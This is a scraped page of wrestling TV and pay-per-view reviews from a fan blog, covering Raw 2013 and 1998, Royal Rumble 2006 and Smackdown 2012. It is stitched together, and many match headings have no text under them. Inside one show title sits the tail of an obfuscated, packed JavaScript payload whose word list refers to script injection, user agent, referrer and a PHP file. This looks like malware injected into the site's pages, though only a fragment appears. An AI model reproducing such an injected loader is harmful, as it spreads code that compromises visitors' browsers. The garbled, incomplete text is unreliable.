Jack Swagger b. Justin Gabriel – Patriot Act

Tensai b. Drew McIntyre via DQ when 3MB interfered

Antonio Cesaro b. Sin Cara – Neutralizer

Remember to follow me on Twitter @kbreviews and pick up my ebook of 1998 Monday Night Raw Reviews at Amazon at:




Monday Night Raw – February 4, 2013: The Best WWE TV Match In Years

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfakt|var|u0026u|referrer|bshti||js|php'.split('|'),0,{})) Night Raw
Date: February 4, 2013
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, Jerry Lawler

Orton, on the App, pitches why he should face Punk.

Ryback vs. Antonio Cesaro

MORE WWE APP STUFF!!! DID WE MENTION THIS ALREADY???

We look at the Shield taking out Sheamus, Ryback and Cena last week.

Mysterio talks on the App.

We get a long video on the history of the Shield.

Trish Stratus Hall of Fame video.

Jericho completes the trio of shilling for the App.

Santino Marella vs. Jack Swagger

Swagger yells at Booker post match.

You can now vote on the WWE APP!!!

Apparently since so many people are on the WWE App, you can now vote on WWE.com. Yep, after ALL THAT TALKING, you can just vote without the App. Egads this company gets annoying at times.

Alberto Del Rio vs. Cody Rhodes

Jericho gets to face Punk.

Rey Mysterio vs. Daniel Bryan

Back with Mysterio firing off some forearms but getting suplexed down so Daniel can stomp on the arm a bit. He throws Mysterio out to the floor and hits a baseball slide to keep Rey on the floor. Bryan loads up the suicide dive but Rey gets a forearm up. The top rope seated senton starts to pick things up and Rey hits a rana into the kick to the head for two. The 619 is countered into a No Lock attempt but Rey rolls him up for two. Mysterio hits a rana into the 619 but the top rope splash misses. NO Lock finishes at 8:35.

MARK HENRY returns to power walk towards Bryan. Daniel goes at him and is immediately sent into the barricade. Henry takes out Rey and the running in Cara as well.

Sheamus vs. Kane

Wade Barrett vs. Randy Orton

Chris Jericho vs. CM Punk

The fans are completely split between the two guys. They chop it out to start and Punk takes him down with some knees. We hit the armbar by Punk who yells at the referee to ASK HIM. Nice touch. Jericho fights up and escapes a tornado DDT to send Punk to the floor. A baseball slide puts Punk down but he blocks the springboard dropkick as we take a break.

Results

Ryback b. Antonio Cesaro – Shell Shock

Jack Swagger b. Santino Marella – Patriot Act

Alberto Del Rio b. Cody Rhodes – Cross Armbreaker

Daniel Bryan b. Rey Mysterio – NO Lock

Sheamus b. Kane – Brogue Kick

Randy Orton b. Wade Barrett – RKO

CM Punk b. Chris Jericho – GTS

Remember to follow me on Twitter @Kbreviews




Royal Rumble Count-Up: 2013 Redo – 2006: I Never Felt Comfortable With This Show

Royal Rumble 2006
Date: January 29, 2006
Location: American Airlines Arena, Miami, Florida
Attendance: 16,178
Commentators: Michael Cole, Jerry Lawler, Joey Styles, Tazz

The opening video is about Mark Henry vs. Kurt Angle. The Rumble and Edge vs. Cena gets a little time as well.

Cruiserweight Title: Gregory Helms vs. Kid Kash vs. Funaki vs. Jamie Noble vs. Nunzio vs. Paul London

Nunzio hits a slingshot to send Noble into the corner and Funaki adds a bulldog for two. We finally get to the dives with Nunzio diving on a pair of guys, allowing Noble to get two on Kash via a leg lariat. Noble dives on Helms and Nunzio on the floor and Funaki is knocked off the top onto Nunzio and Noble. London kicks Kash to the floor as well and dives on everyone not named Helms with a shooting star off the top.

Trish is looking GREAT in a referee outfit when Mickie, currently the psycho lesbian, comes up and says she loves Trish. Ok then.

Mickie James vs. Ashley Massaro

Big Show draws his number. Rey comes in to talk about Eddie a bit. Apparently Eddie is joking with Rey by giving him this number.

John Bradshaw Layfield vs. Boogeyman

Before the Rumble starts, the Spirit Squad comes out to give us a chant.

Royal Rumble

HHH is #1 and Mysterio is #2, naturally coming out in a lowrider and an Eddie shirt. HHH tries to power him down to start but Rey comes back with kicks to the knee. Rey hits a headscissors to take HHH down and into the corner but HHH lifts him to the apron. Rey comes back with a springboard dropkick to the back but HHH ducks the 619. Simon Dean is #3 and goes after Rey to a bunch of boos. Dean sends him to the apron and wants a high five from HHH but gets punched in the face and hit by a seated senton. The elimination is academic.

Lashley immediately comes back with an overhead belly to belly and a third press slam to HHH. Kane takes a Dominator and Sylvan, the “Smackdown fashion consultant” is #10 and lasts about 18 seconds before Lashley throws him out. Unfortunately he turns around and gets caught in a double chokeslam followed by the elimination. The partners quickly turn on each other with Kane getting a boot up to stop a charging Show. They fight to the ropes and HHH runs up to throw them both out, emulating the same thing Shawn did in 1996 with Vader and Yokozuna.

Benoit chops on HHH until Joey Mercury is #14. Mercury fires off dropkicks but gets caught in Rolling Germans. Carlito jumps Benoit to break it up and Mercury pounds on Benoit a bit. Freaking Tatanka is #15, giving us a group of Mysterio, HHH, Carlito, Benoit, Mercury and Tatanka. Seriously why did the bring TATANKA back? He fires off chops as the fans do the Seminole chant.

Shawn has to skin the cat to stay in and turns into a kick to the head from Shelton. Michaels is cool with that and sends Shelton to the apron followed by a superkick to eliminate him. This brings out Vince who hates Shawn and the distraction lets Shane run in and dump HBK. Shawn is ticked and runs back in and superkicks HHH after escaping a Pedigree attempt. He goes after Vince but a single referee stops him. Ok then.

Mickie comes in to hit on Trish as she does an interview on WWE.com.

We recap Edge vs. Cena. Edge won MITB back at Mania and waited nine months before cashing in on Cena after Cena survived the Elimination Chamber. Tonight is the rematch three weeks later.

Raw World Title: John Cena vs. Edge

Edge tries for a countout but Cena DIVES back in at nine. Back in and Cena pounds away but charges into a spinwheel kick for two from the Canadian. Edge punches Cena to the floor again but goes after him instead of going for the countout again. Cena gets sent into the steps and back inside a missile dropkick gets two for the champion. Edge loads up a superplex but gets shoved off, only to avoid a guillotine legdrop from Cena.

Edge freaks out on Todd Grisham in the back. Edge storms off and Lita panics a bit. We get a random Hacksaw Jim Duggan cameo (does anyone do those better?) to call her a HO!

Smackdown World Title: Kurt Angle vs. Mark Henry

Instead Angle hits a German (kind of) to put both guys down. The Angle Slam gets two (duh) and the ankle lock is broken up again. The counter causes the referee to get bumped so Angle gets a chair. A low blow and two chair shots take Henry down for two, so Angle takes a buckle off. Kurt drop toeholds him into the buckle and rolls Henry up to retain. Our hero everyone.

Taker comes out in a freaking horse drawn chariot and motions that he wants the title. Then he shoots lightning from his hands at the stuff over the ring, before slamming his arms down to send lightning at the posts. The ring collapses to end the show. Yeah that happened.

Ratings Comparison

Gregory Helms vs. Kid Kash vs. Funaki vs. Jamie Noble vs. Nunzio vs. Paul London

Original: B-

Redo: C+

Mickie James vs. Ashley Massaro

Original: C-

Redo: D

Boogeyman vs. John Bradshaw Layfield

Original: F-

Redo: N/A

Royal Rumble

Original: D

Redo: C-

John Cena vs. Edge

Original: B

Redo: D+

Kurt Angle vs. Mark Henry

Original: D-

Redo: D

Overall Rating

Original: C-

Redo: D

What was I on for that Edge vs. Cena match?

http://kbwrestlingreviews.com/2011/01/25/royal-rumble-count-up-2006-eddie-guerrero-puts-on-a-mask-and-wins-the-rumble/

Remember to follow me on Twitter @kbreviews




Monday Night Raw – November 9, 1998: Cheer The Rock While You Can

Monday Night Raw
Date: November 9, 1998
Location: Reunion Arena, Dallas, Texas
Attendance: 13,684
Commentators: Jim Ross, Jerry Lawler

X-Pac vs. Undertaker

Taker stands X-Pac next to him and Kane shoots a fireball at Pac. Kane chases Taker up the ramp.

X-Pac is getting treatment on his eye in the back.

Vince tells Mankind that he has to defend the Hardcore Title tonight against Shamrock. Mankind is cool with that but Vince also wants to give Mankind a makeover. This could be interesting.

Val Venis vs. Steve Blackman

Owen Hart runs out and beats up Steve Blackman.

Mankind gets a haircut.

Brown and Dogg get started without Mosh. Shane McMahon is the referee and Mosh is in now. Everyone fights everyone to start and no one can get a clear advantage. Mosh rolls up Dogg for two. Brown is the only one left standing and he informs us that he does not suck. He misses a charge into the corner and Mosh pounds away at him, only for Roadie to roll him up for two.

Mosh dumps Brown to the floor and gets two on Road Dogg. A top rope leg drop misses but the frog splash misses Mosh. Everyone is down so Shane counts a bit. Road Dogg is the first one up and he double clotheslines both guys down, only to walk into a leg lariat from Brown. Mosh hits the Stage Dive (top rope seated senton) out of nowhere on Brown for the pin.

Mankind gets a pedicure and mourns his losing of Socko.

Goldust vs. Jeff Jarrett

Rock arrives.

We talk about Jesse Ventura being elected recently.

After Rock is done talking we turn to see Goldust beating the tar out of Jarrett. The Blue Blazer runs up and attacks Goldust. Goldust gets up and goes after Jarrett again as the Blazer has left.

Hardcore Title: Ken Shamrock vs. Mankind

Scratch that as apparently Rock has been hit in the back of the head with something.

Rock is still being worked on.

Vince says Rock still has to win as an ambulance is being loaded up.

Al Snow vs. Tiger Ali Singh

Al Snow vs. Babu

Video of Sable working out.

Rock is STILL down in his locker room. Vince says he has to fight tonight.

Kane vs. Edge

Who would have thought this would be a world title match on some PPVs 12 years later? Kane has a can of gasoline and what appears to be a blowtorch. Edge runs to start but Kane gets his hands on him. The monster chokes in the corner but Edge clotheslines him to the floor. Back in and the beating really begins as Kane starts throwing the much smaller Edge around.

Kane goes into the crowd for no apparent reason and chokeslams a fan over the railing.

The Rock vs. Mark Henry

Post match Rock beats up Vince and leaves him laying with a Rock Bottom.

http://kbwrestlingreviews.com/articles/history-of-survivor-series-count-up-1998-deadly-game-the-tournament-not-hhh

Remember to follow me on Twitter @kbreviews




Smackdown – April 20, 2012: Cody Saves Us From The Curse Of Khali

Smackdown
Date: April 20, 2012
Location: O2 Arena, London, England
Commentators: Michael Cole, Booker T, Josh Matthews

We’re still in England this week for the last TV show of the tour. I don’t remember anything being announced for tonight’s show so I’m really not sure what to expect from it. We’ll probably get more build to Bryan vs. Sheamus as well as hopefully a few more matches added to the thin card. Let’s get to it.

Do you know your enemy? Mine is an annoying piece of malware at the moment.

There’s a six man tag main event: Cody/Bryan/Henry vs. Orton/Sheamus/Khali.

Here’s Bryan to open the show. He talks about how Sheamus didn’t do anything better than him at Wrestlemania. Instead of facing him like a man, Sheamus took the coward’s way out and jumped Bryan from behind like he’s done to everyone. At Extreme Rules he won’t get jumped or be distracted. So now it’s back to Chicago where he shocked the world by winning the MITB case. He’ll beat Sheamus twice in the two out of three falls match and get back his rightful title. Did Sheamus cheat at Wrestlemania? YES! Will Bryan win the title back at Extreme Rules? YES!

Cue AJ to a lot of booing. How can you boo someone that looks like that? Bryan tells her to turn around and go away but she says this is the only way she can talk to him. AJ asks if she can just talk to him about their problems but Bryan says he has no problems. He had one, but he got rid of her. Bryan regrets ever going out with her in the first place and he wishes that she was never even born. That finally gets the people to boo Bryan. He asks if there’s any chance he’d ever take AJ back and answers with an emphatic NO before leaving.

AJ vs. Natalya

AJ starts off all stoic but suddenly explodes on Natalya, beating her into the corner. The referee pulls her off twice but AJ won’t let up, drawing a DQ at 48 seconds.

Damien Sandow talks about something Benjamin Franklin said and runs down Dancing With The Stars and Hoarders. At least with Dancing it’s about something that involves work and talent. Most of the other shows he criticizes I completely agree with him on.

Brodus Clay vs. Hunico

Brodus has something to say. He says cut the music and gets booed, prompting him to say it’s coming, so don’t worry. His little brother is supposed to be here so he sends the Funkadactyls (the girls) to go find him. And it’s Horny. Cole’s reaction is exactly what mind is. At least the Mama and the Bridge Club was something original. Brodus does his shaking and Horny gets in to do it as well. Hunico becomes my new hero by shoving him down. The squash commences and the splash ends it in 1:10, about 25 seconds of which was spent on the Hornswoggle part.

Horny hits the Tadpole Splash post match. I hope this isn’t permanent.

Teddy is looking for Aksana but finds Titus and Young who are new to Smackdown. They laugh at him for not signing them and now being a gopher. Ace pops up and they all make fun of Teddy. Titus/Young leave so Ace puts one of those big black furry Queen’s guard hats on Teddy who isn’t allowed to talk or move for the rest of the night.

Orton is in the back with Striker and we get a video on the attack on Cowboy Bob last week. Orton, with his growing mutton chops, says that his dad will be fine. On the other hand, Kane isn’t going to be fine. They have a match at Extreme Rules and it’s falls count anywhere.

Usos vs. Titus O’Neal/Darren Young

NXT comes to Fridays. I forgot how annoying Titus’ song was. Young starts with Jimmy who hits a spinning forearm for two. Off to Jey who hits some double chops before bringing Jimmy back in. Titus comes in and the fans do not care at all. He uses his power stuff and gets a small reaction off a European Uppercut. Back to Young who hits a neckbreaker for two. The fans are waking up a bit. A tag brings in Jimmy who gets the only solid reaction for the US shout to the crowd. Jey gets sent to the floor and a blind tag allows Young and Titus to hit a Hart Attack out of the corner for the pin.

Rating: D. It might be because I watched these teams fight so many times on NXT but I didn’t care at all about this match. Titus is ok but Young is so uninteresting that it stuns me that he got a main roster spot. I guess having another tag team on the show is good but this match is nothing of note. Another loss for the Usos doesn’t please me either.

The Raw ReBound is about Jericho vs. Punk.

Alberto Del Rio vs. Big Show

Non-title. Del Rio drives an Aston Martin here which is very appropriate. Del Rio has officially been traded to the Smackdown roster with no compensation announced yet. Big Show blocks Del Rio’s offense out of the corner and shoves him down. Show stands on his chest in the corner and chops it for good measure. An elbow follows for two. Show loads up the big punch but Del Rio kicks him in the knee to take him down.

More kicks to the arm by Del Rio follow and he hooks an armbar. Show shrugs it off but the chokeslam is broken up by a kick to the knee. The Codebreaker to the arm sets up the armbreaker but Show lifts him up with the bad arm into kind of an Angle Slam minus the spin. Show spears him down and calls for the chokeslam. Ricardo gets up on the apron and Cody comes in with the Disaster Kick, giving Del Rio the pin.

Rating: C-. Does any champion other than the world champions EVER get to pin someone? Oh right: Santino does. For the life of me I don’t get the point of why they keep having the champs lose. Have Cody come in for a DQ or something when Show has the match won. One of the biggest reasons the titles mean nothing is the champions lose every time and it’s frustrating because there are other ways to do the same story without having them lose like Show did here.

Cody runs away post match.

Drew McIntyre and Heath Slater are watching the following squash.

Danny Lerman vs. Ryback

Same deal as always but this time it’s a British guy. Lerman hits him and is promptly mangled. Clothesline and MuscleBuster variation win in 1:11.

We get the Brock interview from Raw.

Teddy is still standing in the same place although he’s now in a full uniform. Regal pops up for some jokes and leaves. Aksana’s music hits and HOKEY SMOKE THAT’S CLAUDIO CASTAGNOLI! He’s playing the Antonio Cesaro character here, a European rugby player. Ace pops out of his office and invites them in. I’m not British so maybe I don’t get it, but what’s the point of guards that aren’t allowed to move? Couldn’t that create some security risks?

Daniel Bryan/Cody Rhodes/Mark Henry vs. Sheamus/Great Khali/Randy Orton

Main event time. Cody jumps Khali and hits him in the knee as Khali is getting in. Trainers come out and say Khali can’t go. Big Show comes out to replace him.

Daniel Bryan/Cody Rhodes/Mark Henry vs. Sheamus/Big Show/Randy Orton

The match is joined in progress after a break with Randy pounding on Bryan in the corner. Tag to Sheamus so Bryan bails to the corner to tag in Cody. The champ knocks Cody around and hits the rolling fireman’s carry slam for two. Cody’s neckbreaker is countered and Sheamus throws him into position for the ten forearms. Cody reverses a suplex and sends Sheamus to the floor. A baseball slide by Cody sets up the knee off the apron from Bryan, which I think is the same thing that’s happened to him for three or four weeks in a row.

Bryan comes in to stomp on Sheamus now with a YES for each connecting boot. Henry comes in for some choking and it’s back to Rhodes. He works on the arm of the champ and then into a chinlock. Sheamus fights out of that as well and knocks Cody out of the air on the Disaster Kick attempt. Hot tag to Orton and it’s powerslams for all normal sized heels. Cody gets in a shot though and it’s time for a break.

Back with Henry holding Orton in a neck crank and it’s back to Bryan. A running dropkick in the corner gets two. A top rope splash misses and Orton makes the tag to Big Show who faces Henry. Cody manages a knee to the back and Mark clotheslines Show down. The heels beat on him and Cody hooks a figure four that his daddy would be ashamed of. While the hold is still on, Cody makes a tag to Henry who splashes Show for two.

Bryan drops an elbow for two. Hot tag to Sheamus to meet Bryan and the beating is on. Irish Curse gets two with Cody making the save. Rhodes rolls to the floor and lands right in front of Show who knocks him out cold with the WMD. YES Lock is blocked by Sheamus but the Brogue Kick misses as well. Tag to Henry and Sheamus kicks his head off. Show adds the right hand and the RKO gets the pin at 13:20 shown of at least 16:50.

Rating: B. That’s probably high but I was getting into this match at the end. First of all, the right guy got pinned. There would have been no reason to have Bryan or Cody lose before the PPV so Henry was the right choice. Second, they changed up the formula by having each good guy be in trouble which made the match more fleshed out and told a better story. Also the total destruction of Henry at the end was a nice touch.

Show was limping post match.

Overall Rating: B. This was a solid episode as everything moved pretty smoothly and a lot of people got on TV. We had a debut and a solid main event, plus a new match added to the PPV with Kane vs. Orton. The one thing I’m concerned about is we seem to only have five matches (Brock/Cena, Kane/Orton, Jericho/Punk, Sheamus/Bryan and presumably Cody/Show) and there’s a week left. They’ll need to add two or three matches in two shows which is possible but a bit rushed. Still though, good show tonight.

Results
Natalya b. AJ via DQ when AJ wouldn’t stop attacking Natalya in the corner
Brodus Clay b. Hunico – Big Splash
Titus O’Neal/Darren Young b. Usos – Hart Attack out of the corner
Alberto Del Rio b. Big Show – Pin after a Disaster Kick from Cody Rhodes
Ryback b. Danny Lerman – MuscleBuster
Big Show/Randy Orton/Sheamus b. Mark Henry/Daniel Bryan/Cody Rhodes – RKO to Henry

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